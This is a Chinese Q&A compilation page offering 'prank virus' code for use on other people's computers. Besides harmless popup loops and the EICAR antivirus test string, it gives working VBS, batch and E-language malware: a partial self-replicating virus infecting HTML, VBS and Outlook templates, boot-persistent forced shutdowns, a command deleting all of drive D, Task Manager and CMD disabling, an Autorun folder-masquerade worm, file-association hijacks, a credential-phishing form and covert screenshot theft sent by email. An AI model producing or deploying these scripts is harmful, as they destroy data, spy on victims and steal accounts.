整人簡單的病毒代碼
① 怎麼編寫整人的小病毒
那就看看vbs.kj的源碼
Dim InWhere,htmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk
Sub KJ_start()
\『 初始化變數
KJSetDim()
\『 初始化環境
KJCreateMilieu()
\『 感染本地或者共享上與html所在目錄
KJLikeIt()
\『 通過vbs感染Outlook郵件模板
KJCreateMail()
\『 進行病毒傳播
KJPropagate()
End Sub
\『 函數：KJAppendTo(FilePath,TypeStr)
\『 功能：向指定類型的指定文件追加病毒
\『 參數：
\『 FilePath 指定文件路徑
\『 TypeStr 指定類型
Function KJAppendTo(FilePath,TypeStr)
On Error Resume Next
\『 以只讀方式打開指定文件
Set ReadTemp = FSO.OpenTextFile(FilePath,1)
\『 將文件內容讀入到TmpStr變數中
TmpStr = ReadTemp.ReadAll
\『 判斷文件中是否存在「KJ_start()「字元串，若存在說明已經感染，退出函數；
\『 若文件長度小於1，也退出函數。
If Instr(TmpStr,「KJ_start()「) <> 0 Or Len(TmpStr) < 1 Then
ReadTemp.Close
Exit Function
End If
\『 如果傳過來的類型是「htt「
\『 在文件頭加上調用頁面的時候載入KJ_start()函數;
\『 在文件尾追加html版本的加密病毒體。
\『 如果是「html「
\『 在文件尾追加調用頁面的時候載入KJ_start()函數和html版本的病毒體;
\『 如果是「vbs「
\『 在文件尾追加vbs版本的病毒體
If TypeStr = 「htt「 Then
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,2)
FileTemp.Write 「<「 & 「BODY onload=「「「 & 「vbscript:「 & 「KJ_start()「「「 & 「>「 & vbCrLf & TmpStr & vbCrLf & HtmlText
FileTemp.Close
Set FAttrib = FSO.GetFile(FilePath)
FAttrib.attributes = 34
Else
ReadTemp.Close
Set FileTemp = FSO.OpenTextFile(FilePath,8)
If TypeStr = 「html「 Then
FileTemp.Write vbCrLf & 「<「 & 「HTML>「 & vbCrLf & 「<「 & 「BODY onload=「「「 & 「vbscript:「 & 「KJ_start()「「「 & 「>「 & vbCrLf & HtmlText
ElseIf TypeStr = 「vbs「 Then
FileTemp.Write vbCrLf & VbsText
End If
② 求一些好玩的整人代碼~~
這些超級好玩看看
第一個：
這些超級好玩
第一個：
'------!!注意危險!! 5-開機一完畢就關機(計算機無法使用) !!注意危險!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'------------------------------------------------
--------------------------------'----------!!注意危險!! 6-格式化D盤(D盤下所有文件被刪除) !!注意危險!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:\",0,ture'--------------------
第二個：
「
gsh=msgbox ("已經准備好格式化，准備開始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "開始格式化…… 哈哈！嚇暈了吧，騙你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows發現一重要更新，將自動下載。"
wscript.sleep 3000
msgbox "系統檢測到WINDOWS更新中捆綁有不明插件SXS.exe,是否對其掃描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"發行者 田間的菜鳥 "+chr(13)+"安全評級 高危"+chr(13)+"建議 直接刪除"+chr(13)+"病毒類型：木馬",,"windows掃描附件"
msgbox "是否阻止其安裝？",vbyesno
wscript.sleep 3000
msgbox "阻止失敗！請檢查防火牆是否開啟！"
wscript.sleep 5000
msgbox "正在嘗試強行刪除…"
wscript.sleep 5000
msgbox "失敗！"
wscript.sleep 5000
msgbox "您的電腦已陷入危險之中，請趕快掃描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高興見到你！"
wscript.sleep 3000
msgbox "您的電腦可能已經感染病毒！",,"WINDOWS防火牆警告"
wscript.sleep 3000
msgbox "我控制你的電腦了！"
wscript.sleep 3000
msgbox "不信？那我給你關機看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "幫你解除關機……"
s.run "shutdown -a"
msgbox "再給你打開記事本寫封信，勸你最好別動，要不然會引起系統混亂~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：剛才的「病毒」是假的，只不過是嚇你玩玩~"
s.run "explorer"
」
這個病毒的說明：在任務管理器關閉wscript.exe可關閉彈窗
第三個：
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
第四個：
do
msgbox"哈哈哈有種把我關掉」
loop
哈哈哈有種把我關掉可以隨意更改
第四個的升級版：
do
msgbox"哈哈,有種關掉我啊"
msgbox"開始倒計時"
msgbox"10"
msgbox"9"
msgbox"8"
msgbox"7
msgbox"6"
msgbox"5"
msgbox"4"
msgbox"3"
msgbox"2"
msgbox"1"
msgbox"野生熊孩子強最帥"
loop
野生熊孩子強最帥可以隨意更改
第五個：
Dim odjws
Set odjws=wscript.createobject("wscript.she11")
do
objws.Run "calc"
loop
第六個：
'--------------------------------3-直接關機------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------
第七個:
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
第八個：名：騰訊QQ
do
msgbox」別點我喲，我今天想休息，不讓登」
loop
第九個：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""說我是豬，不說我是豬就兩分鍾關你機，不信，你試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，說 ""我是豬""","說不說","你寫啊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛,呵呵，爽"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
第10個：
Gecho off
start cmd
%0
第11個：
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"陳獨秀"
a=inputbox("快在下面的框框里輸入陳獨秀喜歡誰,否則後果自負"" ","一個問題","")
loop
call shutdown(2)
msgbox"好吧，不過好自戀啊",4096+64
msgbox"但是你關不掉我",4096+64
msgbox"真的",4096+64
MsgBox"你不信？",4096+64
MsgBox"打開任務管理器也沒有什麼軟用的",4096+64
MsgBox"給你講個故事",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山裡有個廟.",4096+64
MsgBox"廟里有個老和尚在講故事.",4096+64
msgbox"哎呀累了！數綿羊哄我睡覺",4096+64
for i=1 to 60
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64
msgbox"最後問個問題，我是不是大好人！",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
第12個：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
第13個：
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
③ 整人病毒代碼怎麼用
開機會自動啟動（VBE文件）
-------------------------------------------------------
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.CommandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","","REG_SZ"
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\",wscript.scriptfullname,"REG_SZ"
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系統將在"& 60-i &"秒後關機...",1,"系統提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
④ 我想要一種整人的電腦病毒代碼，要有圖片跟聲音的，而且只能打開一次！求高手給！謝謝！
易語言整人代碼如下
.版本2
.支持庫OPenGL
.子程序__啟動窗口_創建完畢
運行(「Shutdown.exe-s-t120」,假,)
.子程序_按鈕1_被單擊
.如果真(編輯框1.內容＝「我是蠢豬，***是大好人」)
運行(「shutdown-a」,假,)
信息框(「哈哈~我還是很厚道的！我也知道你是發自內心的，是啊，我怎麼那麼完美呢？——呵呵~」,0,)
結束()
.如果真(編輯框1.內容≠「我是蠢豬，***是大好人」)
信息框(「尼瑪，輸入正確會死啊！告訴你了，只要輸入正確就OK了~你怎麼就不相信我呢？？！」,0,）
—————————————————————————————————————————
易語言騙賬號代碼如下：
.版本2
.支持庫internet
.子程序_按鈕1_被單擊
連接發信伺服器(「smtp.qq.com」,25,「郵箱」,「密碼」,)
發送郵件(「號來了」,「賬號：」＋編輯框1.內容＋#換行符＋「密碼：」＋編輯框2.內容,「郵箱」,,,「郵箱」,)
——————————————————————————————————————————
易語言監視對方電腦，連發十張高清截圖代碼如下：
.版本2
.支持庫eImgConverter
.支持庫internet
.子程序__啟動窗口_創建完畢
.計次循環首(10,)
寫到文件(「D:jt.bmp」,快照(,,))
轉換到JPG(「jt.bmp」,「jt.jpg」,假,75,真,0)
.如果真(連接發信伺服器(「smtp.qq.com」,25,「郵箱」,「密碼」,))
添加附件文件(「D:jt.bmp」)
.如果真結束
發送郵件(「主題」,「被監視的電腦截圖」,「郵箱」,,,「郵箱」,)
斷開發信伺服器()
.計次循環尾()
刪除文件(「D:jt.bmp」)
結束()
——————————————————————————————————————————
你說要有圖片 可以將易語言程序啟動窗口主頁面的圖片設置成我這樣
——————————————————————————————————————————
如果是電腦命令的話
新建txt輸入：shutdown -s -t 120 -c 你是豬！
保存為bat
或者還有，如果他用電腦命令破解，你就往後輸入
@echo off
assoc .bat=txtfile
可以讓他所有的電腦命令成為亂碼！！！
除了電腦命令亂碼，你還可以設置各種的，比如：
assoc .exe=txtfile
assoc .mp3=txtfile
assoc .zip=txtfile
assoc .fiv=txtfile
and so on……
其實輸入了就這樣的代碼，那台電腦基本就癱瘓了，沒什麼可以玩的了~
⑤ 誰能給我一個簡單的病毒的代碼呀
本代碼盡管測試，無任何危險。病毒文件測試代碼。使用方法如下：
this
is
not
a
real
virus.
it
is
a
text
file
that
is
used
to
test
antivirus
software.
測試代碼：
---------------------請復制下面的代碼到文本中保存-------------------
x5o!p%@ap[4\pzx54(p^)7cc)7}$eicar-standard-antivirus-test-file!$h+h*
---------------------請復制上面的代碼到文本中保存-------------------
測試方法：
1.滑鼠右鍵點擊桌面空白處，創建一個「文本文檔」。（什麼，還不會建？我倒）
2.將下面這段測試代碼復制到「文本」里，保存，然後可以直接右鍵點擊這個文本，用殺毒軟體掃描（圖1）。也可以等一會，如果你的殺毒軟體還行，會自動報毒並將該文本刪除，那就可以初步放心了。
測試原理：
該段代碼是歐洲計算機防病毒協會開發的一種病毒代碼，其中的特徵碼已經包含在各種殺毒軟體的病毒代碼庫里，所以可以用做測試病毒掃描引擎。
測試等級:
特等：復制完代碼後便提示內存有病毒
優等：剛保存完就提示病毒(或者直接刪除)
中等：保存後幾秒提示病毒(或者直接刪除)
下等：需自己啟動病毒掃描查殺才提示病毒(或者直接刪除)
劣等：無論怎麼掃描都無法提示病毒(或者直接刪除)
⑥ 求手機整人程序，或整人的病毒！
只能針對mtk平台的和部分其他機型，你想整人，建議用邪惡牙醫，真的狠邪惡塞班手機論壇有 但是很少 去山寨手機論壇吧
⑦ 誰給我一個整人的VBS代碼啊 謝謝了
有人要VBS整人代碼，我就寫了一個，如果玩笑開得過火，千萬別罵我啊~
簡單描述一下：文件夾同名病毒（Autorun病毒）大家都熟悉吧？效果就是那樣（不過放心吧，絕不是真的病毒，騙人的），試想，如果有人中招，他會怎麼辦？殺毒？沒用（因為根本不是病毒），情急之下咋辦？胡亂刪一通，抱歉，他親手將自己親愛的文件刪了......
廢話不多說了，代碼如下，大家知道該怎麼用：
''''''''''''''''''''代碼開始''''''''''''''''''''
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "\" & Fdr.Name & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\" & Fdr.Name & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
''''''''''''''''''''代碼結束''''''''''''''''''''
打開記事本，復制，保存綴名為vbs格式
注意：此代碼不可亂用，可能會把人弄瘋的
除非是你最恨的人
⑧ 求簡單的病毒代碼
本代碼盡管測試，無任何危險。病毒文件測試代碼。使用方法如下：
This is not a real virus. It is a text file that is used to test antivirus software.
測試代碼：
---------------------請復制下面的代碼到文本中保存-------------------
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
---------------------請復制上面的代碼到文本中保存-------------------
測試方法：
1.滑鼠右鍵點擊桌面空白處，創建一個「文本文檔」。（什麼，還不會建？我倒）
2.將下面這段測試代碼復制到「文本」里，保存，然後可以直接右鍵點擊這個文本，用殺毒軟體掃描（圖1）。也可以等一會，如果你的殺毒軟體還行，會自動報毒並將該文本刪除，那就可以初步放心了。
測試原理：
該段代碼是歐洲計算機防病毒協會開發的一種病毒代碼，其中的特徵碼已經包含在各種殺毒軟體的病毒代碼庫里，所以可以用做測試病毒掃描引擎。
測試等級:
特等：復制完代碼後便提示內存有病毒
優等：剛保存完就提示病毒(或者直接刪除)
中等：保存後幾秒提示病毒(或者直接刪除)
下等：需自己啟動病毒掃描查殺才提示病毒(或者直接刪除)
劣等：無論怎麼掃描都無法提示病毒(或者直接刪除)
⑨ 求Bat整人代碼。。很搞笑很嚇人但是很安全！
@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超級病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒計時
%%a
秒
ping
-n
2
127.1
1>nul
2>nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
>nul
echo.
echo
警告！警告！電腦已被入侵！！！
ping
127.1
/n
3
>nul
cls
echo.
echo.
echo.
echo
正在刪除G盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除E盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除D盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除C盤所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
刪除完畢
echo.
echo
正在刪除分區表...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo.
echo
刪除完畢
echo.
echo.
echo
正在遭受黑客的炸彈襲擊！
echo.
echo
電腦崩潰！准備關閉系統！
ping
127.1
/n
3
>nul
shutdown
-s
-t
0
>nul<p>
</p>
⑩ 整人病毒代碼怎麼用
網路VBS整人代碼…用文本保存，改後綴為vbs